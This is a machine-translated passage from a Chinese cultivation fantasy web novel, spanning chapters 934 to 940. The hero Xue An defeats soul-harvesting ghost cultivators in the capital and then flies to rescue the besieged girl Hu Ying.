    But in the face of this sudden palm, Xue An didn''t even move.


    Seeing this palm is about to hit Xue An.


    The smile at the corner of Yanpeng''s mouth also grew stronger.


    At this moment, only Xue An said coldly: "With this kind of sorcery to condense the murderous soldiers, how reckless are you doing?"


    As he said, Xue An raised his eyes, the light in his eyes flickered, and then raised his hand.


    Click.


    The palm of the blow was shattered, and then dispersed into the sky.


    The black-clothed man roared, but he still dared not fear death and moved forward.


    Xue An snorted coldly, clenched his palms into a fist, and then blasted out.


    boom.


    The black-clothed man was blasted out, and in the midair, the pieces of the hat draped on his body shattered, revealing the figure inside.


    Seeing this figure, the audience could not help exclaiming for a while.


    Being timid is even scared of fighting with both legs, almost unable to stand.


    What kind of person is this.


    There are huge wounds crisscrossed all over, as if they were pieced together.


    And his face was shrouded in a thick black air, and there was nothing in his eyes.


    This monster-like thing made many experts take a breath.


    Xue An''s face was as cold as ice, and he said lightly: "It seems that I still overestimated your bottom line. I used the souls of thousands of people to condense this thing. What else is there that you dare not do?"


    After that, Xue An waved.


    A sword beam ran across the sky, pierced directly into the chest of this monster, took it out, and then nailed it into the wall of the Forbidden Garden Plaza.


    was such a blow, and he didn''t make the monster die on the spot. Instead, he uttered a loud roar, and then struggled hard.


    But every time he struggles, the black energy on his body will dissipate.


    In a blink of an eye, the demon energy in the face of this monster gradually dissipated.


    Then there was a light of relief in his eyes, and he finally died.


    The whole audience was silent.


    Yan Peng, the eighth prince, has a pale face.


    This man in black was a gift from the immortal master. He personally tested it, and a team of well-equipped soldiers was not his opponent, and his strength was powerful.


    This is also the reason why he dared to provoke Xue An.


    Unexpectedly, he was wiped out without even supporting Xue An''s move.


    This naturally made him angry.


    At this time, Xue An looked at Yan Peng coldly, "Anything else? If not...you go to die too!"


    The words came out.


    Countless people have changed their colors.


    This Xue An is too bold, dare to threaten the Eighth Prince in public? No matter how tyrannical he is, the eight princes represent the majesty of the dynasty!


    As expected.


    After hearing what Xue An said, the emperor hadn''t spoken yet, and the queen beside him was already angry.


    In fact, she had already seen Xue An uncomfortable.


    Because in the eyes of the queen, Xue An belongs to the Yanxi faction, so the more powerful he is, the greater the threat to his son.


    So she slapped the table in front of her, and said angrily: "Dare to threaten the emperor, come here, let me take this brave fellow!"


    With an order, countless guards heard the wind and moved.


    Yan Xi and others have all changed.


    But the people of the Eighth Prince Yanpeng group all showed triumphant smiles.


    What can you do if you are good?


    Do you dare to defy the emperor��s order in public?


    Before the triumph on these people''s faces dissipated, Xue An looked indifferent and raised his hand casually.


    A ray of sword light traversed the entire square at a speed of lightning speed, and directly nailed the queen to the phoenix.


    The queen looked at Xue An blankly, and died in desperation.


    Until she died, she couldn''t believe that Xue An actually dared to kill herself.


    At this time, Xue Ancai said lightly: "Noisy!"


    There was deathly silence.


    People are all stupid.


    Who would have thought that Xue An would be so overbearing and would kill the queen directly?


    Yan Xi was even more stunned.


    At this moment Xue An turned his head and smiled at him faintly, "As I said, your fight for power is too boring. In my opinion, there is nothing that cannot be solved with one sword. If it doesn''t work... then two swords. !"


    As soon as the voice fell, I heard Yan Peng howl in anger and madness, "Xue An, you dare to kill my mother, and I will break your body into pieces!"


    Xue An smiled coldly Is it? It''s a pity you don''t have this chance! "


    As he said, Xue An stomped his foot, a bright sword intent appeared in front of him, then pierced the void, and came straight to Yan Peng.


    The speed of this sword was so fast that many people did not react at all.


    The same is true including this Yan Peng. He only saw a ray of light coming straight to him, and he couldn''t help shouting, "Master, help me!"


    At this moment, a gloomy laughter came, "Sure enough, it''s a sword repairer, what a strong killing intent!"


    As he said, a group of light darker than the night suddenly appeared in front of Yan Peng, and the sword light rushed into it, as if it had entered glue, its speed suddenly slowed down, and the black gas continued to erode, and finally broke. Open.


    Then a man whose facial features were covered by black aura appeared in the field.


    Xue An hugged his shoulders, looked at him coldly, and then smiled sensibly, "Is he finally willing to show up?"

 Chapter 935： Yaner, beat him up

    The man Jiejie laughed strangely, "Sword Xiu, you are really arrogant enough, knowing our existence, dare to act like this, really is this still the heavens and the world where your sword repairs arbitrarily gallop? Tell you, you have arrived in this swamp world. , No one wants to be spared!"


    Xue listened quietly, then raised the corners of his mouth and smiled coldly, "Do you dare to shout in front of me?"


    The black energy around the man shook for a while, and said angrily: "Sword repair, this is your own death!"


    Following his voice, dozens of figures gradually appeared behind him.


    are all monsters wearing black hats.


    These monsters stood together in silence, forming a soaring devilish energy.


    Xue An looked up, and finally a flash of anger flashed in his eyes, "Gui Xiu, you are rampant in this world, do you think no one can control you?"


    The man laughed, "Yes, this world is a jedi for you decent monks, but for us ghost repairers, it is a rare blessed land! Because here, we can reap the soul wantonly. Come to improve your strength!"


    "And you swordsmen, how long can you last without the support of heaven and earth?"


    The man sneered, and then stretched out his hand, "Kill him! Get the soul back, I will study it!"


    gave an order.


    Dozens of black lights soared into the sky and came straight to Xue An.


    The combined force of these monsters is extremely shocking.


    At least the crowd onlookers were all taken a few steps back.


    Many timid people are even more frightened to the ground.


    Yan Xi exclaimed, "Master, be careful!"


    Xue An had no sorrow or joy, and did not give the slightest retreat. Instead, he stepped forward, raised his fist, and then faced the dozens of monsters that were condensed from the souls of evil.


    bang bang bang.


    The explosion sounded into one piece.


    in an instant.


    These rushing monsters screamed together, and then the pieces disintegrated, turned into black air, and dissipated.


    The audience was dumb.


    such as Yan Xi and others are already stupid.


    "This... how is this possible? You... aren''t you a swordsman? How could there be such a terrifying boxing?" The man hissed in exclamation.


    Xue An retracted his fist and smiled faintly, "Do you really think...I''m just a sword repairman?"


    The man''s eyes that were exposed to the black air gradually showed a solemn color, and then he smiled sullenly.


    "It seems that I underestimated you before, but do you think anything can be changed by this? You are wrong! This world is far more terrifying than you think!"


    Following his voice.


    In the distant sky, a black line suddenly appeared.


    Then I saw the endless black air coming like a wave.


    Above the tide, there is a tall man with a devil mask on his head.


    In an instant, black air came over the Forbidden Garden, making the originally clear sky dark.


    The whole audience was stunned by the place where the man appeared.


    This is no different from the legendary gods and monsters.


    And the soaring power has moved the strong players in the audience even more.


    Meixia was shocked, and she whispered in disbelief: "I always thought that my strength was pretty good before. I didn''t expect that in this world, there are so many powerhouses like gods and demons!"


    And Nie Yihan said with a worried expression: "Sister, Master Xue...can win?"


    Meixia shook her head solemnly, "To be honest, I don''t know! But even if you can win, you will have to pay a very painful price!"


    Meixia''s words also represented the thoughts of everyone in the audience.


    There are even many people who think Xue An will undoubtedly die.


    at the same time.


    The ghost on the ground hurriedly saluted.


    "Boss!"


    The man wearing the mask of the devil nodded slightly, and then cast his gaze to Xue An, who was standing opposite.


    "Jianxiu, did you kill Gui Yin?"


    Xue An knew that he was asking the Chang family who was killed by himself, and couldn''t help but smile lightly, "That''s right!"


    "Very good! Sword repair, your strength is really good! But you are not my opponent! But as a cultivator, I can give you a chance, as long as you hand over the secret method of condensing spiritual energy you carry, I can Forgive you not to die, and even let you join us. From now on, we will be happy and happy together, how about?"


    This ghost Xiu boss can tell at a glance that Xue An has auras, and in this world where there is no aura, there are only two possibilities for having auras.


    One is to get the treasure of heaven, material and earth, but in this world, it is almost impossible, even if there is, it is just a very weak aura.


    Second is to have the secret method of forcibly condensing aura, which is too tempting for this group of ghost cultivators.


    Therefore, he can''t wait to throw out the conditions, wanting to set Xue An''s secret method out.


    Xue An smiled when he heard the words, but the smile was extremely cold.


    "To be able to condense as a ghost in this desperate situation, how many creatures have you killed and how many souls have you gained?"


    Hearing this, this mask was shocked, "How can you know so much?"


    You need to know that Ghost Xiu is a very unpopular Xiu school even among the heavens and the world.


    Not because of anything else, but because this ghost cultivation needs countless souls when practicing.


    This requires that ghost repairs must keep slaughtering creatures before they can make progress slowly.


    Therefore, although the ghost repair is very powerful in the later stage, it gradually disappears in the heavens and the world.


    Because ghost repairs are constantly slaughtering the stars, it is equivalent to constantly stealing the foundations of various races, and naturally it is not accepted by the heavens and various races.


    Of course, Xue An also knows that there must be a large number of ghost repairs in hidden corners, such as the legendary Yama world.


    Xue An once dealt with a lord of the ten palaces in the world of Yama.


    That is the real ghost repair giant, enough to match the existence of the fairy king.


    And the classification in ghost repair is also different from the average repairer.


    For example, this ghost general is almost equivalent to the golden fairy among the cultivators.


    That''s why Xue An is so angry.


    Because this shows that this ghost repair at least slaughtered hundreds of millions of lives.


    The mask Ghost Xiu felt terrified But soon, he recovered his calm.


    "Since you even know what cultivation level I am, then you should understand that in this world, whether you are practicing swordsmanship or physical training, you can''t beat me!"


    "Honestly hand over the secret method, I will let you live, otherwise I will refine your soul into a magic weapon, and then you will never fall forever!" The mask ghost said in a cold tone.


    Yanxi and others looked sad.


    think Xue An will undoubtedly lose.


    But at this moment, Xue An suddenly laughed, "You are right, without aura support, I really can''t beat you! But..."


    Xue An smiled like a knife, and with a wave of his hand, the Fu Bao Xiaolou hidden in his body appeared.


    And An Yan, who was holding a pan, flew out of it and appeared in front of everyone.


    Xue An pointed to the ghost in the sky, and said lightly: "Yan''er, beat him!"

 Chapter 936： As long as you don’t die, you’ll die

    An Yan nodded excitedly upon hearing this, "Husband, what do you plan to beat?"


    Xue An said: "As long as you don''t die, you will die!"


    "Good husband, leave it to me!"


    And the masked ghost repairer was taken aback when he heard the words, and then laughed, "You actually found such a charming little lady to beat me? Are you sure you didn''t play..."


    The laughter has not yet been exported.


    An Yan flew up to him, then picked up the pan in his hand, and patted it according to this ghost.


    This ghost repair sneered, and wanted to dodge.


    But he doesn''t even know how terrifying this pan is.


    I just heard the excited shout of the Nine-turn Thunder Zun from the pan, "Damn, after waiting so long, it''s finally my turn to play, give me a chop!"


    With the voice.


    I saw a dazzling thunder light burst straight down, blasting above the head of this masked ghost.


    The mask ghost repair staggered, and he felt stiff and almost fell from the sky. He couldn''t help but yelled in horror: "It''s the right method of heavenly thunder, what magic weapon are you, can you actually use heavenly thunder?"


    An Yan was too lazy to talk nonsense with him, anyway, her husband said that as long as he can''t die, he will be hit to death.


    So the pan in An Yan''s hand came with a straight shot, right on the head of the stiff mask Gui Xiu.


    just heard a muffled sound.


    The menacing mask Guixiu was photographed and flew far away, waiting to stand still.


    An Yan raised his hand, and the pan in his hand flew straight away.


    Guo Zhongqi Ling Jiu Zhuan Lei Zun shouted excitedly.


    "My lord, this kid is handed over to me, shit, this time has driven me crazy!"


    said, the sky thunder blasted like no money.


    This mask ghost dodges left and right, but how could he have thunder fast, so after only a moment, he was ecstatic and dying.


    And the chicken thieves, who are still very good at Thunder Zun of Rank Nine, often take advantage of the gap where he has just escaped from a thunder light, and slap him out of nowhere.


    So after a while, the masked ghost repairer was beaten into a pig''s head, and could no longer be arrogant.


    "Okay, okay, I surrender! Don''t fight any more, I will die if you fight again!" The mask ghost said vaguely.


    The teeth in his mouth have just been smashed by the pan, and now they are leaking.


    But he didn''t want to fight anymore, but Nine Rank Lei Zun didn''t want to let him go.


    "Tsk tsk, are you too casual, right? I haven''t enjoyed it yet, come again!"


    As he said, the pan rose again, and there was a faint light of thunder in the air, apparently another sky thunder was brewing.


    Desperate and indignant, the mask Ghost Xiu simply turned his head and headed straight to Xue An on the ground.


    An Yan was taken aback, trying to stop it.


    But in the next second, this mask ghostly repaired all the people.


    I saw him plop and kneel in front of Xue An, crying bitterly, "Friends of Daoist, you can''t kill people, but your magic weapon is too bullying. I gave up and he beat me. What do you want me to do? kind?"


    Everyone looked silly.


    Especially the eighth prince Yanpeng, and the previous ghost Xiu.


    The two of them looked at the mask Guixiu who was kneeling on the ground in amazement, their heads were blank.


    Your boss just gave in?


    Xue quietly looked at this Gui Xiu who was kneeling in front of him, and suddenly said: "Do you think I can''t do anything to you?"


    These words came out.


    The ghost shuddered all over, then bowed his head deeply, a look of cruelty flashed in his eyes.


    He was really afraid of the pan, because the thunder light just restrained them from ghost repair.


    But he has no respect for Xue An.


    Especially, there is no ability for ghost repairs, but life-saving methods are endless, as long as there is a trace of spirit, you can escape from the dead.


    This is also the reason why he deliberately used words to confuse Xue An.


    I didn''t expect it to be seen through by Xue An.


    At this moment. Xue An slowly walked closer to him, looked at him condescendingly, and said lightly: "Or do you think...I can''t kill you?"


    As soon as the voice fell, I saw the masked Ghost Xiu suddenly violent, and a sharp claw composed of countless souls rushed towards Xue An and rushed down.


    "Husband!" An Yan exclaimed, then waved.


    The pan in the sky turned into streamer and flew straight.


    But they are too far away, there is no time.


    Seeing these sharp claws, he would touch Xue An.


    just when a touch of joy appeared on the face of this masked ghost.


    Xue An''s eyes flashed slightly.


    Then a wisp of seemingly weak, but extremely tough white flame was contaminated on the sharp claws.


    Compared with this sharp claw, the flame looks extremely small.


    But as soon as they touched, the flame ignited like a wildfire.


    Under the white flames, these sharp claws are like ice and snow under the scorching sun, instantly melting into the invisible.


    And this mask Guixiu was struck by lightning when he saw it, and exclaimed, "You... how come you have this flame?"


    The horror in ����''s voice is countless times deeper than when he first encountered thunder.


    "Why can''t I have it?" Xue An said lightly, stretched out his hand, and the white flame that had burned the souls and claws returned to his palm, curled up, not much bigger than a candlelight.


    But it was just such a ball of candlelight, but it made this ghost tremble like a chaff.


    "Big...sir, please spare your life!"


    Xue An shook his head, "Do you think...is it useful to beg for mercy now?"


    "No!" The ghost turned around and wanted to run.


    The pan had already rushed over, and then a beam of thunder blasted down, knocking the ghost to the ground.


    Then Lei Zun said lazily: "Boy, who is it wrong for you to provoke him? Even if I meet him, I have to be obedient, let alone you? What a brain drain!"


    This ghost repair still wants to struggle to get up, Xue An has already stepped closer at the moment, and stepped on his head with one foot, and said lightly: "Don''t move, move again, I will kill you!"


    "My lord, forgive me! I won''t move, I won''t move!" The mask wailed miserably.


    See this scene.


    The first Gui Xiu who appeared on stage wanted to go back quietly.


    But just before he quit a few steps.


    Xue An said lightly: "Catch that fellow too!"


    "okay!"


    Turn Nine Lei Zun responded with excitement and rushed directly, and the ghost repairer was also caught.


    Everyone is stupid now.


    Who would have thought that the two guys who were still aggressive just now were trampled under Xue An''s feet in an instant.


    Especially who is this stunning woman who suddenly appeared?


    Many people are puzzled.


    The complexions of Tang Ling''er and Nie Yihan and other women all became extremely ugly.


    Because they are all in front of Anyan, they feel deeply ashamed.


    This...Is it the one you are thinking of?


    Tang Ling''er thought with despair in her heart, and felt that everything she was proud of was broken into one place in front of An Yan.

 Chapter 937： Ghost League

    Because regardless of beauty or temperament, An Yan crushed all the women present.


    At this time, Xue An looked down at the masked ghost repairer who was stepped on by him, and said lightly: "Now I ask you to answer, if you can''t satisfy me, you will be at your own risk, understand."


    "Understand, understand!" The masked Ghost Xiu shouted in a hurry.


    "What''s your name"


    "Master Hui, my name is Gui Rong, and the Gui Yin that you killed before is my fellow junior!"


    Xue An kicked the ghost next to him again, "Who is this guy?"


    Before Gui Rong could speak, the Gui Xiu shouted frantically, "My lord, my name is Qi Shu. This Gui Rong is my boss!"


    "Boss"


    Gui Rong hurriedly smiled and said: "My lord, I am a little boss in a ghost league! This Qi Shu is indeed my subordinate."


    Ghost League


    Hearing this name, Xue An''s eyes moved slightly, and he said lightly: "Go on, don''t miss anything!"


    "Yes!"


    Next, this ghost will introduce the ghost league in detail.


    It turns out that this ghost league is composed of cultivators who have been sealed into this world.


    In the beginning, there was only ghost repair, so it was called the ghost league.


    But after so long of development, there are not only ghost cultivators in the current ghost league, but also many other monks.


    But these people have one characteristic in common, that is, they act unscrupulously, do not seek good or evil, only seek consequences.


    And this ghost face is a little boss in the ghost league.


    In his words, with his cultivation base, he can only be regarded as a mid-stream in the ghost league.


    There is even a handsome ghost above, that is, a half-step true fairy-level existence.


    After listening to all this.


    Xue An''s eyes grew colder.


    Ghost handsome.


    The living soul needed is no longer measurable by numbers.


    This bunch of ghost repairs, really **** it!


    It seemed that he felt Xue An''s killing intent, and this ghost face was so scared that he trembled all over his body. He hurriedly said in order to survive.


    "My lord, I have another important piece of information to tell you!"


    "In this swamp world, there are not only the existence of our ghost league cultivators, but also some decent cultivators like you. They also have a loose organization called Xiaoqingqiu, but because they can��t supplement in this world Spiritual power, so it has been suppressed by our ghost league!"


    "Plus the slaughter and seduction of Master Guishuai, the strength of this little Qingqiu is getting weaker and weaker."


    Xiaoqingqiu.


    Hearing this name, Xue Anru was struck by lightning.


    Because the meaning of this name is already obvious, only people who have a deep relationship with Qingqiu Fox Country will name it this way.


    "What about the people in Xiaoqingqiu now" Xue An asked sharply.


    This ghost face was startled by Xue An''s expression, and hurriedly said in a trembled voice: "My lord, this time I am here to flourish in Kyoto, not mainly for you, but to harvest the souls in this city!"


    hiss!


    Heard this sentence.


    Everyone in the audience took a breath.


    Many people are even scared to sweat.


    Without Xue An''s obstruction, with the strength of this ghost face, the entire Tiansheng Kyoto would definitely become a dead city.


    Then the ghost said flatly, "The reason why so many souls are needed is because the adults of the ghost league are working together to besiege Xiaoqingqiu!"


    "But because the leader of Xiaoqingqiu is extremely difficult to deal with, and in the final decisive stage, he burns his soul to fight against the ghost commander, so the situation is at a stalemate, and the harvest of these souls is to deal with Xiaoqingqiu!"


    This ghost didn''t dare to lie, because he knew that if he dared to lie in front of a strong man like Xue An, it would be no different from seeking death.


    Therefore, in order to survive, he said everything in a nutshell.


    But as soon as he finished his words, he found that Xue An''s complexion instantly turned pale, and the murderous aura around his body exploded like substance, and everyone who was oppressing backed back with horror.


    And this ghost face was even more shocked.


    Is this his strength?


    At this moment An Yan stepped forward and said with a worried expression: "Husband!"


    Xue An nodded at her slightly, signaled that he was okay, then took a deep breath and said coldly.


    "You said that the leader of Xiaoqingqiu is fighting against the people of your ghost alliance at the cost of burning his soul."


    "Yes! And it has been going on for a while! Before I came out this time, I heard rumors that the leader of Xiaoqingqiu was almost unable to hold it..."


    The voice did not fall.


    Xue An fisted.


    boom.


    With Ghost Rong''s head as the center, a big pit crashed into the square.


    With the strength of Ghost Rong, he can be called a master.


    But in front of Xue An, who was furious, he was as fragile as a bubble.


    With a punch, Gui Rong''s upper body was completely shattered.


    Then his soul floated out, shouting in horror: "Big..."


    Xue An''s eyes were brilliant and waved.


    The flame in his hand covered the entire square.


    boom.


    Ghost Rong and his subordinates Qi Shu, were completely enveloped by this white flame.


    In the sorrowful howl.


    Xue An directly took out the spirit crystal from the mustard seed ring, and swallowed Xianjue with all his strength.


    But in a blink of an eye.


    He completely absorbed most of the spar in the mustard ring.


    And Xue An''s momentum also began to climb wildly.


    In the end, although it hadn''t fully recovered, it was only a bit short.


    Half a step under the power of real immortals.


    The entire Forbidden Garden, and even the entire Tianshengjing, trembled slightly under his feet.


    Countless people began to kneel to the ground uncontrollably.


    The eighth prince Yan Peng was about to faint.


    He never dreamed that the person he thought was easy to deal with would turn out to be such a peerless powerhouse.


    But he couldn''t even say the begging for mercy.


    Xue An just glanced over.


    His body exploded into blood mist, and his soul was shattered.


    But these are already trivial matters.


    Xue An now has only one thought in his mind.


    That is, Huying must not have an accident.


    Otherwise, the seemingly good-tempered Fox Ye would really wash the entire world with blood.


    And I... I''m probably going to help.


    Thinking of this, Xue An took a deep breath, "Yan''er!"


    "Ok!"


    "You are here to guard Kyoto I will go and return!"


    "Hmm! Husband, be careful on your way!" An Yan nodded solemnly.


    Xue An smiled and rubbed her head, "Well, there is nothing in the world that can stump your husband, don''t worry!"


    With that said, Xue An left Fu Bao Xiaolou.


    With this thing, An Yan has a place to retreat even if some peerless power comes.


    At this time, Missing in Fu Bao Xiaolou and Xiao Chan''er came out.


    The two little girls had an unreasonable admiration for their father. No matter what Xue An did, they thought it was okay.


    But Chan''er was a little lost. (https://) "Invincible, Starting from Xianzun Dad" only represents the author''s point of view for a dollar of sunshine. If you find that its content violates national laws and conflicts, please delete it. https://''s position Only committed to providing a healthy and green reading platform. ����,thank you all!

 Chapter 938： Burn the soul

    She didn''t realize until now that her original master was no longer there.


    The young master in front of him is a strong man who makes the gods tremble.


    Therefore, in the Fubao Xiaolou, her heart is full of distress.


    So after coming out, she also lowered her head, not knowing what it was like in her heart.


    At this moment, Xue An glanced at this lovable Chaner and smiled slightly.


    "Chan''er, master, leave for a while, take care of you, think and miss!"


    heard the familiar word "Young Master".


    Chan''er was shocked all over, then raised her head to stare at Xue An blankly.


    Xue An smiled and scratched her nose, "What are you thinking about? I am your young master!"


    As soon as she said this, Chan''er''s big eyes quickly filled with tears, and then she nodded heavily.


    "Master, you go, I will take care of the two young ladies here!"


    Xue An smiled and looked around the audience. After seeing the blank faces of Tang Linger and Nie Yihan, he nodded slightly.


    Then he jumped, turned into a streamer, and rushed straight into the sky.


    In an instant, he disappeared into the sky.


    Tang Ling''er stared blankly, clenching her fist slowly, and finally loosened it again.


    Because she finally understood that everything she had thought before was simply a dream!


    Not to mention the current strength of Xue An, it was Xue An''s dozing gaze just now when he saw An Yan, which made Tang Linger and all the women understand.


    I''m out of play.


    What''s more, there are two little girls who are carved and polished, obviously his daughters.


    This fact ruthlessly shattered the fantasy of many people.


    And Yan Xi, at this time, he woke up from the shock and began to tidy up the mess in an orderly manner.


    Now the eighth prince Yanpeng exploded into a cloud of blood, and the queen was also dead.


    Xue An��s shocking strength just made everyone frightened.


    Therefore, Yan Xi''s status has risen, and the emperor''s power is already invisible.


    And everyone, not knowing whether it was intentional or unintentional, deliberately ignored the old emperor who had been frightened and fainted on the throne.


    The transfer of power will always be so cruel.


    But Xue An didn''t know this.


    Actually he didn''t bother to care about it.


    There is only one thought in his mind at this moment.


    That is fast.


    Hurry up!


    It''s best to arrive at Xiaoqingqiu in no time.


    and under his full rush.


    People in the world all saw a meteor traversing the sky in the sky, flying by at an extremely fast speed.


    This vision has caused many ignorant people to kneel down and worship.


    The world is far bigger than Xue An imagined.


    At his current speed of thousands of miles between his fingers, he also leapt for half an hour before slowly approaching the place.


    This place is located in the middle of this realm, and there are endless mountains everywhere.


    Xue An slowed down and began to explore the location of Xiaoqingqiu with his spirit.


    at last.


    After searching for a full quarter of an hour.


    Xue An''s eyes lit up, and then his figure disappeared instantly.


    this moment.


    on a high mountain that looks like a fox looking back at the moon.


    The atmosphere is extremely solemn.


    This originally lush mountain has now become a ghost.


    Only the area at the top of the mountain has not been infested by the black air.


    Because there is a faint light curtain, blocking all the black air.


    And in the sky.


    Countless black clouds enveloped the sky.


    Above these dark clouds, all the ghosts are standing.


    In the middle of the team, there is a big flag waving.


    There are two seal characters written on the banner.


    ����.


    under the flagpole.


    is the highest level of the entire ghost league.


    Ghost handsome, Hei Feng.


    and several ghost league elders.


    this moment.


    The complexions of these ghost alliance people are a bit ugly.


    Because the light curtain covering the top of the mountain seems to be crumbling, very weak, but like a reef standing in the sea, no matter how you push it, you can''t shake it.


    Hei Feng snorted coldly at this time, his eyes pierced the light curtain, looked at the golden temple on the top of the mountain, and a look of greed flashed across his face.


    "It''s an enviable soul. After burning for so long, it is still so alive. If it is swallowed, it can even push my strength one step further and become a ghost king-level existence!"


    And this is the reason why he has to kill Xiaoqingqiu at all costs.


    "Master Guishuai, the leader of this little Qingqiu is still incomprehensible, but they are only grasshoppers after autumn. They will not be able to jump for a few days. As long as the people we send out to harvest souls come back, we can directly sacrifice this little Qingqiu, when the time comes...Isn''t it easy to catch it?" a ghost league elder said flatteringly.


    Hei Feng laughed strangely when he heard the words, "Yes, in this prison, only we ghost repair are the most powerful, and these guys who think they insist on justice, all have to die!"


    said, he burst out another blow with a laugh.


    boom.


    The giant claws condensed from black energy hit the light curtain, although it was instantly shattered.


    But the light curtain also began to vibrate slightly.


    Hei Feng smiled more and more triumphantly.


    at the same time.


    in the golden palace on the top of the mountain.


    The atmosphere has been solemn to the extreme.


    Dozens of people gathered here, but they could only hear the sound of breathing.


    Because everyone is looking up at the high platform in the middle of the hall.


    Only seen on the high platform.


    There is a little girl who is only eleven or twelve years old and her eyes are pale and her eyes are closed. Although she is very young, she is also pale.


    But this girl is as beautiful as illusion, and even makes people afraid to look at it.


    And on her body, it exudes a light that makes people dare not look straight.


    is this light, propped up the entire light curtain.


    "The figure of the leader has become smaller again!" A man with scars all over his face said sadly.


    It''s not just him.


    All the people in the hall are suffering from minor or severe injuries.


    Regardless of who it is, after seeing the soul-burning **** the high platform, all her faces are full of sadness and despair.


    It has been half a month since they were trapped here.


    In the past half month, the cultivators of Xiaoqingqiu tried every means to break through.


    After paying a very heavy price , it still failed to break through the layers of defense laid down by the Ghost League.


    So all of them can only watch their leader quietly burning his soul, but there is no way to stop it.


    At this moment.


    I heard a crash outside.


    Then I saw the **** the high platform frowned, her face showing pain.


    The light that radiated from it suddenly became stronger.


    What followed was that the girl''s body size became smaller again.


    See this scene.


    Everyone in the hall looked sad.


    Then someone fell to his knees and said with a choked voice: "Leader, you don''t care about us, leave now!"

 Chapter 939： I am back

    His words seem to be the fuse.


    Everyone fell to their knees.


    "Leader, leave us alone! We are content to meet a leader like you after entering this world!"


    "Yes, don''t let your soul be damaged because of us!"


    These shouts came and went one after another, and among them there were even women crying.


    The girl closed her eyes and shook her head gently, "Stop talking, I won''t leave!"


    "But..." Everyone was anxious.


    The girl said softly: "Someone once told me that no matter what time it is, don''t give up! Otherwise, you will have a conscience for the rest of your life! For his words, I can''t abandon you!"


    These words made everyone in the audience silent.


    Many people lowered their heads, their faces looked sad and hopeless.


    And the girl''s heart silently thought, Brother Huye, Brother Xue An, I didn''t shame you, I did everything you taught me!


    Thinking of this, the girl felt sad.


    But... I may never see you again!


    Brother Fox Night, although I usually hate you very much, I know that you love me sincerely. Sometimes it is obvious that I have done something wrong, but you will be punished by the elders for me.


    And Brother Xue An...


    Thinking of Xue An, the girl''s heart is like a knife.


    Brother Xue An, I never believe that you will fall. It must be someone who is jealous of you deliberately spreading rumors, right?


    You must be staying in a certain place right now, waiting for a certain moment, you will appear again, and then you will be cleaned up for those who look down on you or betray you!


    Right?


    Because you didn��t do this often before?


    It''s a pity...I can''t see these.


    I really miss you!


    The thoughts in the girl''s heart were difficult to calm, and a drop of tears slowly slipped down her beautiful cheeks.


    And just at this time.


    I heard someone sigh faintly: "What a silly girl!"


    The sound is not loud, but it spreads to everyone''s ears.


    The **** the high platform was shocked all over, and then slowly opened her eyes in disbelief.


    Seen in the void of the hall, a figure gradually emerged.


    In an instant.


    A young man in white appeared in front of everyone.


    Seeing this boy, the girl was struck by lightning, and even lost her thinking ability, she could only stare blankly.


    Xue An couldn''t help but shudder after seeing the girl become only eleven or twelve years old, and his eyes showed an incomparable killing intent.


    But then he regained his calm, and then smiled at the girl.


    "Ying''er, I''m back!"


    The words came out.


    Huying''s big eyes gradually showed tears, and then tears came out of his eyes, choked up and said, "Xue...Brother Xue!"


    said, she desperately rushed out of the high platform, plunged directly into Xue An''s arms, howling.


    In this cry, there is endless sadness and longing.


    "Brother Xue, I know you won''t die, oh oh oh, I miss you so much! I am not dreaming now!"


    Xue quietly stroked the girl��s long hair, and whispered, ��Of course it��s not a dream, I��m really back!��


    And everyone in the hall looked at this scene with a dull expression.


    In their impression, their leader has never been so excited.


    You have to know that the leader doesn''t usually say a word to a man, let alone burst into the man''s arms and cry.


    Who is this man?


    At this moment, he heard a shout of surprise outside.


    "Broken!"


    "The light curtain is finally broken, and the leader of Xiaoqingqiu can''t hold it!"


    In these shouts, Hu Ying suddenly raised her head in Xue An''s arms, and said with tears on her face: "Broken, the barrier is gone!"


    said, she was going back to the high platform to prop up the barrier.


    Xue An patted her on the shoulder lightly and smiled and said: "Well, your brother, I am back, do I still use you to burn my soul? Watching and seeing how I avenge you!


    "Hmm!"


    Fox Ying stood aside very cleverly and looked at Xue An with admiration.


    At this moment, she feels that her heart is full of happiness.


    Because Xue An took care of her in the same way.


    that''s nice!


    Everything is back!


    Fox Ying thought happily.


    At the same time.


    The ghost commander Hei Feng of the Ghost League saw the barrier shattered and couldn''t help being overjoyed. He took a palm and smashed the last remaining light curtain directly, and then shouted with a grinning smile: "My dear, you really lasted a long time! What a pity, Isn��t the final result still the same? Don��t worry, I only want your soul and blood, and I can keep your life. After all, I heard that you look beautiful and beautiful! Hahahahaha!"


    The black front laughed wildly, and then smashed the top of the Golden Temple.


    But just then.


    I saw the dome of the Golden Palace melt away like ice water.


    Then Xue An slowly walked out of it indifferently.


    The black front''s wild laughter gradually stopped, and then looked at Xue An with a gloomy expression.


    "Who are you? How come you are here?"


    Xue An ignored his question, just raised his head and looked at the sky full of ghosts and gods, his eyes full of cold killing intent.


    "Master Guishuai dare not listen to questions, he will die!" A ghost cultivator yelled and took a palm.


    Xue An didn''t make any movements, just glanced at the person.


    The ghost with the least strength and the ability to disperse immortals did not even have time to scream.


    This attack shocked the audience.


    Whether it''s the ghost league or Xiaoqingqiu.


    Everyone was shocked.


    There is only Hu Ying, she has a face for granted.


    For her, her brother Xue An is the best and most powerful in the world.


    No matter who it is, it is not Xue An��s opponent.


    Even though Brother Xue is not Immortal Venerable now, there is nothing that can stump him in the heavens.


    At this moment, the handsome Hei Feng also froze for a moment, and then sneered sadly.


    "It turned out to be the helper I got! Tsk tsk, it looks pretty silly, but you..."


    Xue An interrupted him suddenly and said lightly: "Let me guess, you entered this world, not because you got the seal! It should be a deal with the other party, and you entered here. , Is to reap the soul on a large scale, so as to increase the cultivation base, am I right?"


    Xue An''s words made the black front face pale, and then said coldly, "Who are you?"


    Xue An''s face was as cold as ice, and he pointed to Fox Ying in the distance, "Me? I''m her brother!"


    Brother?


    The black forward was startled.


    At the same time, Xue An''s figure suddenly disappeared in place, and when he reappeared, he had already arrived in front of the black front, and then stretched out his hand to pinch his neck when he didn''t react at all.


    The black front was furious and began to struggle.


    But under Xue An''s hands, all his struggles became so futile.


    Then Xue An said coldly: "You almost killed my sister, then I will give a tooth for a tooth and blood for blood today!"

 Chapter 940： One step down, Gurensheng!

    The black front suddenly gave up the struggle, then grinned and said, "Do you really think that you can catch me this way? You are too naive!"


    As he said, the figure of the black front quickly dried up and disappeared invisible.


    Then, he heard an extremely arrogant voice from the top of Xue An''s head.


